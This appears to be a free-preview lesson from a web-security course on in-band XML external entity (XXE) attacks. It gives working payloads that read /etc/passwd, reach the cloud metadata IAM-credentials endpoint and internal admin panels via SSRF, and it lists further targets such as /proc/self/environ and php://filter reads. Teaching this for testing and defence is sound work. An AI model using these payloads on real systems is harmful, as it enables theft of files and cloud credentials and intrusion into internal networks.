Lesson 2 · Free preview · 16 min

In-band XXE: file read and SSRF

When an entity value is reflected in the response.

On this page

Step 1 — Find an XML input

Look for Content-Type: application/xml or text/xml requests: stock checks, SOAP endpoints, SAML, RSS import, sitemap upload, and file formats that are XML underneath (.svg, .docx, .xlsx, .pptx).

Step 2 — Confirm entity expansion

<!DOCTYPE x [ <!ENTITY test "42"> ]>
<stockCheck><productId>&test;</productId><storeId>1</storeId></stockCheck>

If the app behaves as if productId were 42, entities expand.

Step 3 — Read a file

<?xml version="1.0"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

The file contents come back wherever productId is reflected (often an error: "invalid product ID: root:x:0:0:...").

Step 4 — SSRF

Swap the scheme:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">

Now you are making requests from inside the network — cloud metadata, internal admin panels, port scanning by response timing.

Note

file:// on directories, /proc/self/environ, /proc/self/cmdline, and (PHP) php://filter/convert.base64-encode/resource=... are all useful.